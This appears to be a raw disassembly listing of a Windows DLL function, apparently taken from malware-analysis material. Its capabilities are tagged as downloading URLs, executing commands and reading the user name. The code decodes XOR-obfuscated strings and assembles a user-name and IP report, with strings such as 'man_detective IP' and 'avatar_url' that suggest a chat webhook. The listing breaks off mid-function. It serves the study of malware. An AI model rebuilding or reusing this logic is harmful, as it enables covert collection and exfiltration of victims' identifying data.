Function at 0x180054410
Capabilities:
Download url
Execute command
Get session user name
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x9d0]
sub rsp, 0xad0
lea rdx, [rbp + 0xa18]
mov dword [rbp + 0xa18], 0x101
lea rcx, [rbp + 0x8c0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movabs rsi, 0xb21b1eb64a7be34b
movabs r14, 0x21cac37bf43e1330
mov qword [rbp + 0xa20], rsi
xor edi, edi
mov rax, qword [rbp + 0xa20]
mov rbx, 0xffffffffffffffff
mov qword [rbp + 0x1e0], rax
mov r8, rbx
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x530], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x538], rax
lea rax, [rbp + 0x1e0]
movdqa xmm0, xmmword [rbp + 0x530]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1800544f0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x20]
call fcn.180004450
mov qword [rbp + 0xa20], rsi
mov r8, rbx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x1d0]
mov qword [rbp + 0x468], rax
lea rax, [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x1d0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x180054590
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x60]
call fcn.180004450
xorps xmm0, xmm0
mov qword [rbp - 0x30], rdi
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x28], rdi
lea rax, [rbp + 0x8c0]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x1800545c2
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp - 0x40]
call fcn.180004450
movdqa xmm1, xmmword [0x180285140]
lea rdx, [rbp + 0x840]
xorps xmm0, xmm0
lea rcx, [rbp + 0x140]
movups xmmword [rbp + 0x840], xmm0
mov byte [rbp + 0x840], dil
movdqu xmmword [rbp + 0x850], xmm1
call fcn.180053ec0
movabs rax, 0xd636339626099628
movabs rcx, 0x2809b0fd3871196e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x360], rax
movabs rax, 0x44b9b659d45f6751
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x368], rax
movabs rax, 0x2b8d84110a4076af
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x370], rax
movabs rax, 0xed59282ade5983a7
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x378], rax
movabs rax, 0x402e132bc08a07f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x380], rax
movabs rax, 0xb6d726c42fddb8f8
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x388], rax
movabs rax, 0xefd31f802a6d9794
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x390], rax
movabs rax, 0xba617981532020a8
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x398], rax
movabs rax, 0x6499b8e4c5e210a3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xcea8ba19d7812c76
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x7ec93a58959cf7ab
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x897aa4e4439e63c9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x679dc8f40391cf37
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x66fdde6181f2299d
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xc62ad055223e88a
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0xa20], r14
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x748], rax
movabs rax, 0x43eeb974672118dd
mov rdi, rbx
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x750], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x758], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x760], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x768], rax
movabs rax, 0xa6f321a01719f9f1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x770], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x778], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x780], rax
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x788], rax
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x790], rax
movabs rax, 0xa55ad78130ed06aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x798], rax
movabs rax, 0x13ee979a62fcf517
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7a0], rax
movabs rax, 0x33c7b90fe89647fc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7a8], rax
movabs rax, 0xc628d2872518df9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7b0], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x740]
movdqa xmm1, xmmword [rbp + 0x370]
xorps xmm1, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x360], xmm0
movdqa xmm0, xmmword [rbp + 0x380]
xorps xmm0, xmmword [rbp + 0x760]
movdqa xmmword [rbp + 0x370], xmm1
movdqa xmm1, xmmword [rbp + 0x390]
xorps xmm1, xmmword [rbp + 0x770]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm0, xmmword [rbp + 0x3a0]
xorps xmm0, xmmword [rbp + 0x780]
movdqa xmmword [rbp + 0x390], xmm1
movdqa xmm1, xmmword [rbp + 0x3b0]
xorps xmm1, xmmword [rbp + 0x790]
movdqa xmmword [rbp + 0x3a0], xmm0
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x7a0]
movdqa xmmword [rbp + 0x3b0], xmm1
movdqa xmm1, xmmword [rbp + 0x3d0]
mov qword [rbp + 0x7b8], rax
lea rax, [rbp + 0x360]
xorps xmm1, xmmword [rbp + 0x7b0]
movdqa xmmword [rbp + 0x3c0], xmm0
movdqa xmmword [rbp + 0x3d0], xmm1
inc rdi
cmp byte [rax + rdi], 0
jne 0x180054a93
mov r13, qword [rbp - 0x30]
movabs r15, 0x7fffffffffffffff
mov rax, r15
sub rax, r13
cmp rax, rdi
jb 0x180057c57
cmp qword [rbp - 0x28], 0xf
lea rax, [rbp - 0x40]
mov esi, 0xf
mov qword [rsp + 0xb28], r12
cmova rax, qword [rbp - 0x40]
lea r12, [rdi + r13]
mov qword [rbp + 0xa20], rax
xorps xmm0, xmm0
lea r14, [rbp + 0xa0]
xorps xmm1, xmm1
lea ecx, [rsi + 7]
movabs rax, 0x8000000000000000
movups xmmword [rbp + 0xa0], xmm0
movdqu xmmword [rbp + 0xb0], xmm1
cmp r12, rsi
jbe 0x180054b7b
mov rsi, r12
or rsi, 0xf
cmp rsi, r15
jbe 0x180054b3f
mov rsi, r15
add rax, 0x27
mov rcx, rax
call fcn.180109490
test rax, rax
je 0x18005511a
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x180054b74
cmp rsi, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x180054b62
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180057c4b
jmp 0x180054b20
test rcx, rcx
je 0x180054b71
call fcn.180109490
mov r14, rax
jmp 0x180054b74
xor r14d, r14d
mov qword [rbp + 0xa0], r14
mov r8, rdi
mov qword [rbp + 0xb0], r12
lea rdx, [rbp + 0x360]
mov qword [rbp + 0xb8], rsi
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0xa20]
lea rcx, [r14 + rdi]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r12], 0
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0xb0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x15
jb 0x180054c10
cmp rdx, 0xf
lea rax, [rcx + 0x15]
lea rdi, [rbp + 0xa0]
mov qword [rbp + 0xb0], rax
cmova rdi, qword [rbp + 0xa0]
lea rdx, str.__:man_detective:IP:
add rdi, rcx
mov r8d, 0x15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp + 0xa0]
mov byte [rdi + 0x15], 0
jmp 0x180054c31
lea r9, str.__:man_detective:IP:
mov qword [rsp + 0x20], 0x15
mov edx, 0x15
lea rcx, [rbp + 0xa0]
call fcn.18005b820
mov rsi, qword [rbp + 0x150]
lea r9, [rbp + 0x140]
xor r12d, r12d
xorps xmm0, xmm0
cmp qword [rbp + 0x158], 0xf
movups xmmword [rbp + 0x80], xmm0
cmova r9, qword [rbp + 0x140]
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rcx, qword [rbp + 0x98]
mov r14, qword [rbp + 0x90]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x180054ce5
cmp rcx, 0xf
lea rax, [r14 + rsi]
lea rdi, [rbp + 0x80]
mov qword [rbp + 0x90], rax
cmova rdi, qword [rbp + 0x80]
mov r8, rsi
mov rdx, r9
lea rcx, [rdi + r14]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + r14]
mov byte [rax + rsi], r12b
lea rax, [rbp + 0x80]
jmp 0x180054cf9
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rbp + 0x80]
call fcn.18005b820
mov qword [rbp + 0x10], r12
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x180054d71
cmp rdx, 0xf
lea rax, [rcx + 0xc]
lea rdi, [rbp]
mov qword [rbp + 0x10], rax
cmova rdi, qword [rbp]
lea rdx, str.avatar_url
add rdi, rcx
mov r8d, 0xc
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp]
mov byte [rdi + 0xc], r12b
jmp 0x180054d8f
lea r9, str.avatar_url
mov qword [rsp + 0x20], 0xc
mov edx, 0xc
lea rcx, [rbp]
call fcn.18005b820
cmp qword [rbp - 0x48], 0xf
lea r9, [rbp - 0x60]
mov rsi, qword [rbp - 0x50]
xorps xmm0, xmm0
cmova r9, qword [rbp - 0x60]
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x180054e11
cmp rdx, 0xf
lea rax, [rsi + rcx]
lea rdi, [rbp + 0x60]
mov qword [rbp + 0x70], rax
cmova rdi, qword [rbp + 0x60]
mov r8, rsi
add rdi, rcx
mov rdx, r9
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp + 0x60]
mov byte [rsi + rdi], r12b
jmp 0x180054e22
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rbp + 0x60]
call fcn.18005b820
mov qword [rbp + 0x50], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x180054e89
lea rax, [rcx + 2]
cmp rdx, 0xf
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x40]
cmova rax, qword [rbp + 0x40]
mov word [rax + rcx], 0x2022
mov byte [rax + rcx + 2], r12b
lea rax, [rbp + 0x40]
jmp 0x180054ea7
lea r9, [0x180131764]
mov qword [rsp + 0x20], 2
mov edx, 2
lea rcx, [rbp + 0x40]
call fcn.18005b820
cmp qword [rbp - 8], 0xf
lea r9, [rbp - 0x20]
mov rsi, qword [rbp - 0x10]
xorps xmm0, xmm0
cmova r9, qword [rbp - 0x20]
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rcx, qword [rbp + 0x38]
mov r14, qword [rbp + 0x30]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x180054f2b
cmp rcx, 0xf
lea rax, [r14 + rsi]
lea rdi, [rbp + 0x20]
mov qword [rbp + 0x30], rax
cmova rdi, qword [rbp + 0x20]
mov r8, rsi
mov rdx, r9
lea rcx, [rdi + r14]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rdi]
mov byte [rax + r14], r12b
lea rax, [rbp + 0x20]
jmp 0x180054f3c
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rbp + 0x20]
call fcn.18005b820
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x38]
movups xmmword [rbp + 0x880], xmm0
movups xmmword [rbp + 0x890], xmm1
cmp rdx, 0xf
jbe 0x180054f9b
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054f96
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005511a
call fcn.18010983c
mov rdx, qword [rbp + 0x58]
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], r12b
cmp rdx, 0xf
jbe 0x180054fe6
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054fe1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005511a
call fcn.18010983c
mov rdx, qword [rbp + 0x78]
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], r12b
cmp rdx, 0xf
jbe 0x180055031
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005502c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005511a
call fcn.18010983c
mov rdx, qword [rbp + 0x18]
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r12b
cmp rdx, 0xf
jbe 0x18005507c
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055077
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005511a
call fcn.18010983c
mov rdx, qword [rbp + 0x98]
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r12b
cmp rdx, 0xf
jbe 0x1800550c9
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800550c4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005511a
call fcn.18010983c
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], r12b
cmp rdx, 0xf
jbe 0x180055126
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055121
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180055121
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18010983c
movdqa xmm0, xmmword [0x180285140]
movabs rax, 0xd636339626099628
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], r12b
movabs rdx, 0xc628d2872518df9
mov qword [rbp + 0xa20], rax
movabs rcx, 0x2809b0fd3871196e
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x44b9b659d45f6751
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x2b8d84110a4076af
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3f0], rax
movabs rax, 0xed59282ade5983a7
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xe00d241bc08a07f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x400], rax
movabs rax, 0xb6d726c42fcaaef1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x408], rax
movabs rax, 0xefd31f802a6d9794
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x410], rax
movabs rax, 0xba617981532020a8
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x418], rax
movabs rax, 0x738aa8e4c5e210a3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x420], rax
movabs rax, 0xcb8de84ad3b02b7d
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x428], rax
movabs rax, 0x62de095f818da9a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x430], rax
movabs rax, 0xfa34b6ec0acd2ad9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x438], rax
movabs rax, 0x7480fefe0c9d8164
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x440], rax
movabs rax, 0x13ea997d8de512c6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x448], rax
mov qword [rbp + 0xa20], rdx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x458], rax
movabs rax, 0xb21b1eb64a7be34b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7c0], rax
movabs rax, 0x21cac37bf43e1330
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7c8], rax
movabs rax, 0x43eeb974672118dd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x8e3a0659b12de6c2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov rdi, rbx
mov qword [rbp + 0x7d8], rax
movabs rax, 0x6d63a7129c2580cf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xc2b949a709b9dd94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7e8], rax
movabs rax, 0xa6f321a01719f9f1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7f0], rax
movabs rax, 0xc31559f530454ac6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7f8], rax
movabs rax, 0x16f8cfdee5d875d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x800], rax
movabs rax, 0xa7ee9a23b0ef4518
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x808], rax
movabs rax, 0x11bb6a3cf4de93c5
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x810], rax
movabs rax, 0xa55ad78130ed06aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x818], rax
movabs rax, 0x13ee979a62fcf517
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x820], rax
movabs rax, 0x33c7b90fe89647fc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x828], rax
mov qword [rbp + 0xa20], rdx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x830], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x3e0]
xorps xmm0, xmmword [rbp + 0x7c0]
movdqa xmm1, xmmword [rbp + 0x3f0]
xorps xmm1, xmmword [rbp + 0x7d0]
movdqa xmmword [rbp + 0x3e0], xmm0
movdqa xmm0, xmmword [rbp + 0x400]
xorps xmm0, xmmword [rbp + 0x7e0]
movdqa xmmword [rbp + 0x3f0], xmm1
movdqa xmm1, xmmword [rbp + 0x410]
xorps xmm1, xmmword [rbp + 0x7f0]
movdqa xmmword [rbp + 0x400], xmm0
movdqa xmm0, xmmword [rbp + 0x420]
xorps xmm0, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x410], xmm1
movdqa xmm1, xmmword [rbp + 0x430]
xorps xmm1, xmmword [rbp + 0x810]
movdqa xmmword [rbp + 0x420], xmm0
movdqa xmm0, xmmword [rbp + 0x440]
xorps xmm0, xmmword [rbp + 0x820]
movdqa xmmword [rbp + 0x430], xmm1
movdqa xmm1, xmmword [rbp + 0x450]
mov qword [rbp + 0x838], rax
lea rax, [rbp + 0x3e0]
xorps xmm1, xmmword [rbp + 0x830]
movdqa xmmword [rbp + 0x440], xmm0
movdqa xmmword [rbp + 0x450], xmm1
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x1800555d0
mov r13, qword [rbp - 0x30]
mov rax, r15
sub rax, r13
cmp rax, rdi
jb 0x180057c5d
cmp qword [rbp - 0x28], 0xf
lea rax, [rbp - 0x40]
lea r12, [rdi + r13]
mov esi, 0xf
cmova rax, qword [rbp - 0x40]
lea r14, [rbp + 0x120]
mov qword [rbp + 0xa20], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x120], xmm0
movdqu xmmword [rbp + 0x130], xmm1
cmp r12, rsi
jbe 0x1800556a9
mov rsi, r12
or rsi, 0xf
cmp rsi, r15
jbe 0x180055667
movabs rax, 0x8000000000000000
mov rsi, r15
add rax, 0x27
mov rcx, rax
call fcn.180109490
test rax, rax
je 0x180055c63
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1800556a2
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x180055690
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180057c51
jmp 0x180055648
test rcx, rcx
je 0x18005569f
call fcn.180109490
mov r14, rax
jmp 0x1800556a2
xor r14d, r14d
mov qword [rbp + 0x120], r14
mov r8, rdi
mov qword [rbp + 0x130], r12
lea rdx, [rbp + 0x3e0]
mov qword [rbp + 0x138], rsi
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0xa20]
lea rcx, [r14 + rdi]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r12], 0
mov rdx, qword [rbp + 0x138]
mov rcx, qword [rbp + 0x130]
mov rax, rdx
sub rax, rcx
cmp rax, 0x15
jb 0x18005573e
cmp rdx, 0xf
lea rax, [rcx + 0x15]
lea rdi, [rbp + 0x120]
mov qword [rbp + 0x130], rax
cmova rdi, qword [rbp + 0x120]
lea rdx, str.__:man_detective:IP:
add rdi, rcx
mov r8d, 0x15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp + 0x120]
mov byte [rdi + 0x15], 0
jmp 0x18005575f
lea r9, str.__:man_detective:IP:
mov qword [rsp + 0x20], 0x15
mov edx, 0x15
lea rcx, [rbp + 0x120]
call fcn.18005b820
mov rsi, qword [rbp + 0x150]
lea r9, [rbp + 0x140]
xor r12d, r12d
xorps xmm0, xmm0
cmp qword [rbp + 0x158], 0xf
movups xmmword [rbp + 0x100], xmm0
cmova r9, qword [rbp + 0x140]
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rcx, qword [rbp + 0x118]
mov r14, qword [rbp + 0x110]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x180055813
cmp rcx, 0xf
lea rax, [r14 + rsi]
lea rdi, [rbp + 0x100]
mov qword [rbp + 0x110], rax
cmova rdi, qword [rbp + 0x100]
mov r8, rsi
mov rdx, r9
lea rcx, [rdi + r14]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + r14]
mov byte [rax + rsi], r12b
lea rax, [rbp + 0x100]
jmp 0x180055827
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rbp + 0x100]
call fcn.18005b820
mov qword [rbp + 0xf0], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
